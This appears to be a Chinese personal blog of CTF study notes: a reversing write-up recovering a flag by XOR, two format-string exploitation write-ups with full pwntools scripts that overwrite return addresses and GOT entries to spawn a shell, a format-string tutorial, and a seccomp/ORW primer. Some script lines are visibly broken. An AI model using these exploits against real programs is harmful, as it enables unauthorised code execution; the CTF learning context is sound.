  • **SIZE_SZ**:在 64 位系统中为 0x8(表示 sizeof(size_t))。它常被理解为 chunk 头部(header)大小的一部分,但实际上,header 总大小为 2 * SIZE_SZ = 0x10 字节(包括 prev_sizesize 字段)。

  • **MALLOC_ALIGN_MASK**:在 64 位系统中为 0xf(十六进制),对应内存对齐掩码。内存对齐要求通常是 16 字节(即 MALLOC_ALIGN = 16),所以掩码为 16 - 1 = 15(即 0xf)。

  • **nb**:输出的值,表示实际分配的 chunk 总大小(包括 header 和用户数据区域)。

  • offset = -0x77 对应 malloc 参数为 0xffffffffffffff89

  • 对齐后实际分配大小:(0xffffffffffffff89 + 8 + 15) & ~15 = 0xffffffffffffffa0

  • 使top chunk回退 0x60 字节

开始网鼎杯的jocker学习

1

修复sp

2

3

4

可是encrypt函数还是进不去

5

这是个smc动调解密函数,进入函数后从text:00401500的定义头道endp进行u(undefine)再在定义头p重定义函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __cdecl __noreturn encrypt(char *a1)
{
int v1[19]; // [esp+1Ch] [ebp-6Ch] BYREF
int v2; // [esp+68h] [ebp-20h]
int i; // [esp+6Ch] [ebp-1Ch]

v2 = 1;
qmemcpy(v1, &unk_403040, sizeof(v1));
for ( i = 0; i <= 18; ++i )
{
if ( (char)(a1[i] ^ Buffer[i]) != v1[i] )
{
puts("wrong ~");
v2 = 0;
exit(0);
}
}
puts("come here");
}

得到加密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 预定义的 unk_403040 数组
unk_403040 = [
0x0E, 0x0D, 0x09,
0x06, 0x13,
0x05, 0x58, 0x56,
0x3E, 0x06,
0x0C, 0x3C, 0x1F,
0x57, 0x14,
0x6B, 0x57, 0x59,
0x0D
]

# Buffer 字符串
buffer_str = 'hahahaha_do_you_find_me?'
# 解密过程
decrypted = ''
for i in range(len(unk_403040)):
# 异或操作
decrypted_char = chr(unk_403040[i] ^ ord(buffer_str[i]))
decrypted += decrypted_char

print("Decrypted string:", decrypted)
#Decrypted string: flag{d07abccf8a410c

得到了一半flag,我们刚刚分析的时候有个finally的函数进去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl finally(char *a1)
{
unsigned int v1; // eax
__time32_t *Time; // [esp+0h] [ebp-28h]
char v4[9]; // [esp+13h] [ebp-15h] BYREF
int v5; // [esp+1Ch] [ebp-Ch]

strcpy(v4, "%tp&:");
v1 = time(0);
srand(v1);
v5 = rand() % 100;
v4[6] = 0;
*(_WORD *)&v4[7] = 0;
if ( (v4[(unsigned __int8)v4[5]] != a1[(unsigned __int8)v4[5]]) == v5 )
return puts((const char *)Time);
else
return puts("I hide the last part, you will not succeed!!!");
}

根据最后一个字符 ‘}’ 猜测

1
2
3
4
5
6
7
8
9
10
11
12
13
encrypted = "%tp&:"
known_plaintext = '}'
known_ciphertext = encrypted[-1] # ':'

# 计算异或密钥
key = ord(known_ciphertext) ^ ord(known_plaintext)
print(f"找到密钥: {key}")

# 解密整个字符串
decrypted = ''.join(chr(ord(c) ^ key) for c in encrypted)
print(f"解密后的字符串: {decrypted}")
#找到密钥: 71
#解密后的字符串: b37a}
1
flag{d07abccf8a410cb37a}

进行格式化字符串专题的加强,先写一个题目,再重温一下知识点进行总结一下。

TGCTF fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome TGCTF!");
printf("your gift %p\n", buf); //泄露出
puts("please tell me your name");
read(0, buf, 0x30uLL); //没有栈溢出
if ( magic == 1131796 )
{
printf(buf); //存在格式化字符串漏洞
magic = 0;
}
return 0;
}

只有一个格式化字符串漏洞,也只有一个读入。先去查看一下保护

1
2
3
4
5
6
7
8
9
10
(myenv) linkpwn@linkpwn-VMware-Virtual-Platform:~$ checksec pwn
[*] '/home/linkpwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

没有开启pie,canary开启了,但是我们没用到栈溢出,所以我们不用管canary

因此这个题目的攻击思路就是,先利用格式化字符串泄露libc的基地址,然后再利用one_gadget.。

首先我们利用格式化字符串泄露libc的地址,同时也要利用格式化字符串写入one_gadget。

要利用两次格式化字符串的话,我们就不能让函数执行到 magic = 0;,所以我们必须把printf_ret的地址覆盖为read的地址,方便下次

的读入。

泄露出libc_start_main+xxx的地址可以计算出libc的基地址。

再用one_get工具查出execve(/bin/sh)的偏移,在用格式化字符串漏洞将返回地址写成execve(/bin/sh)的地址就可以getshell了

现在开始正式开始攻击

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

# ================ 配置与初始化 ================
context(log_level='debug', arch='amd64', os='linux')
io = process('./pwn') # 本地调试
#io = remote('ip', port) # 远程连接

elf = ELF('./pwn')
libc = ELF('libc.so.6')

# ================ 泄露栈地址 ================
io.recvuntil(b'0x')
stack_addr = int(io.recv(12), 16)
info(f"Stack address: {hex(stack_addr)}")

# ================ 第一次格式化字符串攻击:泄露 libc 地址 ================
payload = b"%4669c%11$hn" # 控制写入低 2 字节
payload += b"%19$p" # 泄露 __libc_start_main 地址
payload = payload.ljust(0x28, b'\x00')
payload += p64(stack_addr - 8) # 写入到 stack_addr - 8 的位置

io.send(payload)

# 接收泄露的 libc 地址
io.recvuntil(b'0x')
leaked_libc = int(io.recv(12), 16)
libc_base = leaked_libc - 122 - libc.sym['__libc_start_main']
libc.address = libc_base
info(f"Libc base: {hex(libc_base)}")

# ================ 准备 one_gadget 并进行第二次格式化字符串写入 ================
one_gadgets = [0xE3AFE, 0xE3B01, 0xE3B04]
one_gadget = libc.address + one_gadgets[1]

# 构造格式化字符串写入 gadget 地址(分两次写入两个 16 位)
low = one_gadget & 0xFFFF
high = (one_gadget >> 16) & 0xFFFF

payload = f"%{low}c%10$hn".encode()
payload += f"%{(high - low) & 0xFFFF}c%11$hn".encode()
payload = payload.ljust(0x20, b'\x00')

# 栈上写入两个地址:分别写入 gadget 地址的低位和高位
payload += p64(stack_addr + 0x68) # 返回地址所在栈偏移
payload += p64(stack_addr + 0x68 + 2) # +2 写入高位部分

io.send(payload)

# ================ 获取 Flag ================
io.sendline(b'cat f*')
io.interactive()
1
2
3
4
payload = b"%4669c%11$hn"          #hex(4669) = 0x123d -->read地址的后两字节
payload += b"%19$p" #泄露libc_start_main+地址
payload = payload.ljust(0x28, b'\x00')
payload += p64(stack_addr - 8) #p64(stack_addr - 8)---->printf的返回地址

1

1

可以看到0x7fffffffdd08 = 0x7fffffffdd10 - 0x08从而定位printf_ret的地址。

然后我们可以看到libc_start_main+122的地址在栈上的位置;

0x7fffffffdd78 - 0x7fffffffdd10 = 104,104/8 = 13,此时我们用%19$p就可以泄露出libc_start_main+122的地址,再减去122就可以得到

libc_start_main地址,再用libc_start_main减去偏移就可以得到基地地址了。

然后再%4669c%11$hn进行两字节的写入。将printf_ret的地址改成read的地址。

用one_gdaget命令查execve(/bin/sh)的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
linkpwn@linkpwn-VMware-Virtual-Platform:~$ one_gadget libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
one_gadgets = [0xE3AFE, 0xE3B01, 0xE3B04]
one_gadget = libc.address + one_gadgets[1]

# 构造格式化字符串写入 gadget 地址(分两次写入两个 16 位)
low = one_gadget & 0xFFFF #低16位的两个字节
high = (one_gadget >> 16) & 0xFFFF #高16位的两个字节

payload = f"%{low}c%10$hn".encode() #把低16位的两个字节写入偏移为10的位置
payload += f"%{(high - low) & 0xFFFF}c%11$hn".encode() #把高16位的两个字节写入偏移为11的位置
payload = payload.ljust(0x20, b'\x00')

# 栈上写入两个地址:分别写入 gadget 地址的低位和高位
payload += p64(stack_addr + 0x68) # 返回地址所在栈偏移 偏移为10的位置
payload += p64(stack_addr + 0x68 + 2) # +2 写入高位部分 偏移为11的位置

注释:11是怎么算出来的

1
2
3
4
5
6
linkpwn@linkpwn-VMware-Virtual-Platform:~$ ./pwn
Welcome TGCTF!
your gift 0x7ffeec1ae9c0
please tell me your name
aaaa %p %p %p %p %p %p %p %p %p
aaaa 0x7ffeec1ae9c0 0x30 0x7c484851ba61 0x18 (nil) 0x2070252061616161 0x7025207025207025 0x2520702520702520 0xa70252070252070

偏移是6,0x28/8 = 5,5 + 6 =11;

level3

写完这题就来总结一下格式化字符串的原理。

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+108h] [rbp-8h]

v5 = __readfsqword(0x28u);
((void (__fastcall *)(int, const char **, const char **))init)(argc, argv, envp);
puts("-----");
read(0, buf, 0x110uLL);
printf(buf); //只有唯一的一个格式化字符串的漏洞,所以我们要构造一个循环
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:000000000040121B ; __unwind {
.text:000000000040121B endbr64
.text:000000000040121F push rbp
.text:0000000000401220 mov rbp, rsp
.text:0000000000401223 sub rsp, 110h
.text:000000000040122A mov rax, fs:28h
.text:0000000000401233 mov [rbp+var_8], rax
.text:0000000000401237 xor eax, eax
.text:0000000000401239 mov eax, 0
.text:000000000040123E call init
.text:0000000000401243 lea rax, s ; "-----"
.text:000000000040124A mov rdi, rax ; s
.text:000000000040124D call _puts
.text:0000000000401252 lea rax, [rbp+buf]
.text:0000000000401259 mov edx, 110h ; nbytes
.text:000000000040125E mov rsi, rax ; buf
.text:0000000000401261 mov edi, 0 ; fd
.text:0000000000401266 call _read
.text:000000000040126B lea rax, [rbp+buf]
.text:0000000000401272 mov rdi, rax ; format
.text:0000000000401275 mov eax, 0
.text:000000000040127A call _printf
.text:000000000040127F mov eax, 0
.text:0000000000401284 mov rdx, [rbp+var_8]
.text:0000000000401288 sub rdx, fs:28h
.text:0000000000401291 jz short locret_401298
.text:0000000000401293 call ___stack_chk_fail

我们看到了call ___stack_chk_fail,这个是关键。

为什么会有这个呢? —–>因为开启了canary

1
2
3
4
5
6
7
8
9
Arch:       amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes

查看保护,开启了canary。

利用格式化字符串的任意位置的篡改,我们就可以将 ___stack_chk_fail篡改为main的地址,这样就会进入无限循环

我们先去找到main和___stack_chk_fail的got地址,在篡改的同时还可以利用printf_got泄露printf的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
main_addr = 0x40121b
stack_chk_fail_got = 0x0403320
printf_got = 0x403328
payload = b'%' + str(0x1b).encode + b'%c22%$hhn'
payload += b'%' + str(0x100 - 0x1b)+(0x12).encode + b'%c23%$hhn'
payload += b'%' + str(0x100 - 0x12)+(0x40).encode + b'%c24%$hhn'
payload += b'---b%25$s' #方便接收
payload = payload.ljust(0x80,b'a') #0x80/8 = 16 + 6(偏移见下图) = 22
payload += p64(stack_chk_fail_got) # %$hhn是单字节写入 stack_chk_fail_got是%c22%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x1) # stack_chk_fail_got + 0x1是%c23%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x2) # stack_chk_fail_got + 0x2是%c24%$hhn写入的地址
payload += p64(printf_got)
payload = payload.ljust(0x100,b'a')
1
2
3
4
-----
aaaa %p %p %p %p %p %p %p %p
aaaa 0x7ffcf57781d0 0x110 0x7a8a8171ba61 0x5 0x7a8a81904380 0x2070252061616161 0x7025207025207025 0x2520702520702520
#偏移为6

执行这个payload就进入无限循环了,并且泄漏量printf的地址。

根据print的地址,计算出libc的基地址。

此时我就要再次利用格式化字符串,将printf_got的地址改成system的地址,在发送/bin/sh就能获取shell。

1
2
3
4
5
6
io.recvuntil(b"---b")  
printf_addr = u64(io.recvn(6)+b'\x00'*2) #接收printf的地址
success(f"printf_addr ->{hex(printf_addr)}")
libc_base = printf_addr - libc.sym['printf'] #计算基地址
system = libc_base + libc.sym['system'] #算出system的地址
success(f"libc_base ->{hex(libc_base)}")
1
2
3
4
5
6
7
8
payload = b"%" + str(system & 0xff).encode() + b"c%22$hhn" #最低字节写入偏移为的位置
payload += b"%" + str((0x100 - (system & 0xff)) + ((system >> 8) & 0xff)).encode() + b"c%23$hhn" #同理去高一位的字节
payload += b"%" + str((0x100 - (((system >> 8) & 0xff))) + (((system >> 16) & 0xff))).encode() + b"c%24$hhn" #同理
payload = payload.ljust(0x80,b'a')
payload += p64(printf_got) #c%22$hhn写入的位置
payload += p64(printf_got + 0x1) #c%23$hhn写入的位置
payload += p64(printf_got + 0x2) #c%24$hhn写入的位置
payload = payload.ljust(0x110,b"a")
1
io.sendline(b'/bin/sh')

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(log_level='debug', arch='amd64', os='linux')
io = process('./pwn')
#io = remote('ip', port) # 远程连接

elf = ELF('./pwn')
libc = ELF('libc.so.6')

main_addr = 0x40121b
stack_chk_fail_got = 0x0403320
printf_got = 0x403328
payload = b'%' + str(0x1b).encode + b'%c22%$hhn'
payload += b'%' + str(0x100 - 0x1b)+(0x12).encode + b'%c23%$hhn'
payload += b'%' + str(0x100 - 0x12)+(0x40).encode + b'%c24%$hhn'
payload += b'---b%25$s' #方便接收
payload = payload.ljust(0x80,b'a') #0x80/8 = 16 + 6(偏移见下图) = 22
payload += p64(stack_chk_fail_got) # %$hhn是单字节写入 stack_chk_fail_got是%c22%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x1) # stack_chk_fail_got + 0x1是%c23%$hhn写入的地址
payload += p64(stack_chk_fail_got + 0x2) # stack_chk_fail_got + 0x2是%c24%$hhn写入的地址
payload += p64(printf_got)
payload = payload.ljust(0x100,b'a')

io.recvuntil(b"---b")
printf_addr = u64(io.recvn(6)+b'\x00'*2) #接收printf的地址
success(f"printf_addr ->{hex(printf_addr)}")
libc_base = printf_addr - libc.sym['printf'] #计算基地址
system = libc_base + libc.sym['system'] #算出system的地址
success(f"libc_base ->{hex(libc_base)}")

payload = b"%" + str(system & 0xff).encode() + b"c%22$hhn" #最低字节写入偏移为的位置
payload += b"%" + str((0x100 - (system & 0xff)) + ((system >> 8) & 0xff)).encode() + b"c%23$hhn" #同理去高一位的字节
payload += b"%" + str((0x100 - (((system >> 8) & 0xff))) + (((system >> 16) & 0xff))).encode() + b"c%24$hhn" #同理
payload = payload.ljust(0x80,b'a')
payload += p64(printf_got) #c%22$hhn写入的位置
payload += p64(printf_got + 0x1) #c%23$hhn写入的位置
payload += p64(printf_got + 0x2) #c%24$hhn写入的位置
payload = payload.ljust(0x110,b"a")

io.sendline(b'/bin/sh')
io.interactive()

现在开始格式化字符串漏洞的知识点的总结。

什么是格式化字符串?

  • 在 C/C++ 等语言中,像 printf, sprintf, fprintf, syslog 等函数使用一个格式化字符串作为第一个参数。这个字符串包含普通文本和以 % 开头的格式化说明符。
  • 函数根据格式化说明符的指示,从后续的参数列表中读取相应数量和类型的参数,并将它们格式化后输出到目标(屏幕、字符串、文件等)。

漏洞成因:

  • 程序员错误: 当程序员允许用户输入直接作为格式化字符串传递给这些格式化输出函数时,漏洞就产生了。
  • 关键区别:
    • 正确用法: printf("%s", user_input); - 用户输入被当作一个普通的字符串参数传递给 %s。函数期望一个字符串地址作为第二个参数。
    • 漏洞用法: printf(user_input); - 用户输入本身被当作格式化字符串。如果用户输入中包含 % 开头的字符序列,函数会将其解释为格式化说明符。
  • 函数行为: 当遇到格式化说明符时,函数会假设在栈(或寄存器,取决于调用约定)上存在对应的参数。它就会按照格式化说明符的要求去读取内存中它“认为”是参数的位置。

漏洞危害:

  • 信息泄露 (Read):读取栈内存、函数返回地址、库函数地址、程序代码地址、Canary值、甚至任意地址的内容(如密码、密钥)。
  • 内存覆写 (Write):向栈内存、函数返回地址、全局偏移表 (GOT)、析构函数表 (DTORS)、任意地址写入数据,从而劫持程序控制流(执行任意代码)。
  • 程序崩溃: 读取或写入无效地址导致段错误。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
%s - 字符串读取 (Read)

功能: 期望一个指针(地址)作为参数。函数从该地址开始读取内存,直到遇到空字符 (\0),并将读取到的字节作为字符串输出。

漏洞利用 (信息泄露):

泄露栈内容: printf("%s"); - 函数会试图将当前栈上“它认为”是参数的位置(通常是格式化字符串指针后面的位置)解释为一个指针,并尝

试读取该指针指向的内存。如果这个位置恰好包含一个有效的(或可读的)地址,就能泄露该地址处的字符串。例如:

用户输入 "%s" -> 程序崩溃或泄露栈上某个地址处的数据。

用户输入 "AAAA%x%x%x%s" -> 先泄露几个栈值 (%x),然后用其中一个值作为指针 (%s) 去读内存。

泄露任意地址内容 (结合偏移):

构造 payload:<目标地址><格式化字符串>

利用 %k$s (其中 k 是偏移量) 指定将栈上第 k 个参数当作指针,用 %s 去读取。例如:

假设 <目标地址> 被放置在栈上第 8 个参数的位置。

Payload: "\x78\x56\x34\x12%8$s" (假设 0x12345678 是目标地址,小端序写入)。

printf 看到 %8$s,就会把栈上第 8 个位置的值 0x12345678 当作指针,读取该地址处的字符串并输出。

关键点: %s 是读取目标地址指向的内存内容(直到 \0),不是读取地址本身的值。地址本身通常需要用 %p 或 %x 泄露。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
%n - 写入已打印字符数 (Write)

功能: 期望一个 int *(指向整数的指针)作为参数。该功能是漏洞实现任意地址写的核心! 函数将到目前为止已成功输出的字符总数写入到
这个指针指向的内存位置。

漏洞利用 (内存覆写):

覆写栈变量/指针/返回地址: printf("AAAA%n"); - 函数试图将已打印的字符数 (4个 A,所以是4) 写入到栈上“它认为”是参数的位置(本
该是一个 int * 的地方)。如果该位置可写,值 4 就被写入了。这通常会导致崩溃或意外行为。

覆写任意地址 (结合偏移):

构造 payload:<目标地址><填充字符><%k$n> 或 <填充字符><%k$n><目标地址> (取决于目标地址在栈上的位置)。

利用 %k$n 指定将栈上第 k 个参数当作 int *,并将已打印字符数写入该地址。

例如,要写 0xdeadbeef (4字节) 到地址 0x0804a000:

需要先打印 0xdeadbeef (3, 737, 519, 343) 个字符?这几乎不可能,因为数字太大。

解决方案: 使用 %hn 或 %hhn 分多次写 2 字节或 1 字节。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
%hn - 写入已打印字符数 (短整型 - 2字节) (Write)

功能: 期望一个 short int *(指向短整型的指针)作为参数。将到目前为止已成功输出的字符总数(只取其低 16 位)写入到这个指针指向的内存位置(写入 2 个字节)。

为什么重要? 要写入的值(如地址、Shellcode 地址)通常很大(4字节或8字节)。一次性用 %n 写入一个巨大的数字(如 0x0804a000 =
134, 520, 832)需要构造极长的输出字符串,不现实且容易出错。%hn 允许我们分两次写入一个 4 字节值(高 16 位和低 16 位)或四次写
入一个 8 字节值。

漏洞利用 (精确内存覆写):

覆写任意地址的 2 字节 (Word):

构造 payload:<目标地址><填充字符><%k$hn>

%k$hn 将已打印字符数(模 65536)的低 16 位写入到第 k 个参数指向的地址(2字节)。

覆写任意地址的 4 字节 (Dword - 常用):

假设目标地址是 0x0804a000 (要写入的值 val = 0xdeadbeef)。

将地址拆分为高 16 位 (high = 0xdead) 和低 16 位 (low = 0xbeef)。

方法 1 (地址连续):

Payload: <addr_low><addr_high><填充使总字符数=low><%m$hn><填充使总字符数=high><%n$hn> (注意 low 和 high 可能小于之前打印
的字符数,需要用模运算调整)

其中 m 是 addr_low 在栈上的位置偏移,n 是 addr_high 在栈上的位置偏移(通常 n = m + 1 或 n = m + 2,取决于指针大小)。

第一个 %m$hn 将 low 写入 addr_low 指向的地址(即 0x0804a000)。

第二个 %n$hn 将 high 写入 addr_high 指向的地址(即 0x0804a000 + 2 = 0x0804a002)。

方法 2 (地址重叠 - 更紧凑):

Payload: <addr><填充使总字符数=low><%m$hn><填充使总字符数=high><%m$hn> (但这次 addr 指向 0x0804a000)

第一个 %m$hn 将 low (0xbeef) 写入 addr (0x0804a000)。

第二个 %m$hn 会再次写入 addr (0x0804a000)。但此时已打印字符数是 low + padding_for_high = 0xbeef + ... = high (假设填充计
算正确),所以将 high (0xdead) 写入 0x0804a000。覆盖了之前写入的低位!

错误! 需要写入 addr (0x0804a000) 和 addr+2 (0x0804a002)。方法 2 不正确。

正确方法 2 (两个不同地址):

Payload: <addr_high><addr_low><填充使总字符数=low><%p$hn><填充使总字符数=high_minus_low><%q$hn>

其中 p 是 addr_low 的偏移,q 是 addr_high 的偏移。

第一个 %p$hn 写 low 到 addr_low。

第二个 %q$hn 写 high 到 addr_high。注意 high_minus_low 可能需要模 65536 计算,如果 high < low 需要加 65536。

关键点: 精确计算需要打印的字符数(通过添加特定数量的填充字符,如 %1234d)来控制写入的值。写入顺序(先低后高或先高后低)取决于
目标地址的布局和值的大小关系(避免 high < low 时需要额外处理)。
1
2
3
4
5
6
7
8
9
10
11
%hhn - 写入已打印字符数 (字符 - 1字节) (Write)

功能: 期望一个 char *(指向字符的指针)作为参数。将到目前为止已成功输出的字符总数(只取其最低 8 位)写入到这个指针指向的内存位置(写入 1 个字节)。

为什么重要? 提供最精细的控制粒度。可以分 4 次写入一个 4 字节值或 8 次写入一个 8 字节值。对于写入小值或需要非常精确控制内存内

容的场景很有用。构造 payload 可能更长(需要更多次写入),但计算相对简单(模 256)。

漏洞利用 (极其精确的内存覆写): 原理与 %hn 类似,但分成 4 个字节 (4字节地址) 或 8 个字节 (64位地址)。Payload 包含目标地址的

4/8 个部分(每个部分 1 字节)和对应的 %k$hhn 及填充。计算每个阶段需要打印的字符数(模 256)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
%p, %x, %d - 泄露数据 (Read)

%p: 以指针格式(通常是十六进制带 0x 前缀)输出参数(一个地址)。

%x/%X: 以十六进制格式(无前缀)输出参数(一个无符号整数)。常用于泄露栈上的数据(可能包含指针或 Canary)。

%d/%u: 以十进制格式输出参数(有符号/无符号整数)。也能泄露栈数据。

漏洞利用 (信息泄露 - 栈勘查):

printf("%p %p %p %p %p"); - 连续泄露栈上多个位置的值(通常是格式化字符串指针之后的栈内容)。这是最开始的“探针”,用于:

定位用户输入的格式化字符串本身在栈上的位置(找偏移量 k)。

寻找栈上的返回地址、库函数地址、Canary 值等。

printf("%100$p"); - 直接泄露栈上第 100 个“参数”位置的值(如果存在)。

结合 %s 泄露任意地址内容(如前所述)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
%k$ - 直接参数访问 (关键!)

功能: 这不是一个独立的说明符,而是修饰符。加在 % 和格式字符(如 s, n, x, p)之间,例如 %8$p, %3$s, %5$n, %10$hn。

含义: 显式指定使用格式化字符串后面的第 k 个参数(而不是按顺序使用下一个参数)。

为什么是漏洞利用的核心?

精准定位: 在格式化字符串漏洞中,攻击者可以精心构造输入字符串(包含目标地址和格式化说明符),并利用 %k$ 精确地告诉 printf 去

哪里找它需要的指针参数(用于 %s, %n, %hn, %hhn)。这使得攻击者能够读写任意指定的内存地址。

绕过不确定性: 栈的布局可能因环境而异。通过泄露栈内容(用 %p, %x),攻击者可以计算出目标地址需要放置在格式化字符串的哪个位置,进而确定正确的偏移量 k 用于 %k$。

示例:

假设通过泄露发现,用户输入的格式化字符串起始地址位于栈上第 7 个参数的位置。

攻击者 payload 开头写入 4 字节的目标地址 0x0804a000。

那么,这个目标地址就会出现在栈上第 7 个参数的位置(因为格式化字符串指针是第 1 个参数,payload 内容紧随其后)。

使用 %7$s 就可以尝试读取 0x0804a000 地址处的字符串。

使用 %7$n 就可以将已打印字符数写入 0x0804a000 地址处。

sandbox专题学习

刚刚学完栈迁移📚,发现 sandbox 🧱经常和栈迁移结合,于是就仔细学一下 sandbox 🤓!

💻 Sandbox绕过好像很多,也复杂 😤,这里只好记录一下ORW的学习 📝

orw

什么时候用orw

当程序开启沙箱保护,禁用一些系统调用,禁用execve等,使得我们不能通过使用system和execve来getshell。此时我们就要用到orw来解决这些问题。

orw是什么

orw就是open,read,write这三个函数的简写,打开flag,读取flag,写出flag通过这三步来得到flag。

sandbox的开启

第一种是利用prctl(),第二种是利用seccomp的库函数

(1) prctl():

在 Linux 系统编程中,prctl 函数结合 PR_SET_SECCOMPPR_SET_NO_NEW_PRIVS 标志可用于开启 seccomp(Secure Computing)沙箱,这是一种限制进程系统调用(syscall)的安全机制。

PR_SET_NO_NEW_PRIVS:

1
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); #禁止进程及其子进程通过 execve 等获得新权限

PR_SET_SECCOMP:

严格模式SECCOMP_MODE_STRICT:仅允许 read, write, _exit, sigreturn 四个系统调用。

1
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);

过滤器模式(SECCOMP_MODE_FILTER):自定义允许/拒绝的系统调用列表(通过 BPF 规则)。

1
2
struct sock_fprog filter = { ... };  // 定义 BPF 过滤器
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filter);

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct sock_filter filter[] = {
// 检查系统调用号是否在允许列表
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1), // 允许 openat
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_read, 0, 1), // 允许 read
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), // 拒绝其他
};
struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = filter,
};
//SECCOMP_RET_ALLOW:允许系统调用。
//SECCOMP_RET_KILL:立即终止进程。

(2)seccomp的库函数:例如libseccomp 库

例子:仅允许进程执行 exit_groupreadwrite 系统调用:

1
2
3
4
5
6
#include <seccomp.h>
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); // 默认拒绝所有
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_load(ctx); // 加载到内核

了解完这些,就开始学习如何解决它了(orw)

seccomp-tools查看沙箱

seccomp-tools可以用来查看沙箱的情况

安装:

1
2
3
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
seccomp-tools dump ./elf #elf换成你自己的文件名

1

可以看到那些函数是可以用的。

open、read、write函数的了解

open()函数:

函数原型

1
2
3
4
5
#include <fcntl.h>
#include <unistd.h>

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
  1. pathname

    • 文件路径名(字符串),例如:"flag""/tmp/test.txt"
  2. flags

    • 打开文件的方式,比如只读、只写、读写等。
    • 可以组合多个标志(使用按位或 | 操作符)。
    标志常量 十六进制值 含义
    O_RDONLY 0x0 只读方式打开文件
    O_WRONLY 0x1 只写方式打开文件
    O_RDWR 0x2 读写方式打开文件

    系统调用号:

    • sys_open 的系统调用号是 5(十进制),即 0x5
    关键点 内容
    函数名 open()
    功能 打开或创建文件
    返回值 文件描述符(成功)或 -1(失败)
    常用 flag O_RDONLY, O_WRONLY, O_RDWR, O_CREAT, O_TRUNC, O_APPEND
    mode 参数 用于指定新文件权限,如 0644
    系统调用号 5(Linux x86)
    寄存器传参 eax=5, ebx=filename, ecx=flags, edx=mode

read()函数:

函数原型:

1
2
3
#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count);
参数名 类型 含义
fd int 文件描述符(由 open() 或其他方式获得)
buf void* 用户空间的缓冲区地址,用来保存读取的数据
count size_t 要读取的最大字节数

系统调用号:

  • sys_read 的系统调用号是 3(十进制),即 0x3
1
2
3
4
5
6
寄存器传参方式(Linux x86):
寄存器 对应参数
eax 系统调用号:3
ebx 文件描述符 fd
ecx 缓冲区地址 buf
edx 要读取的字节数 count

write()函数:

函数原型:

1
2
3
#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);
参数名 类型 含义
fd int 文件描述符(由 open() 或其他方式获得)
buf const void* 用户空间的缓冲区地址,包含要写入的数据
count size_t 要写入的最大字节数

系统调用号:

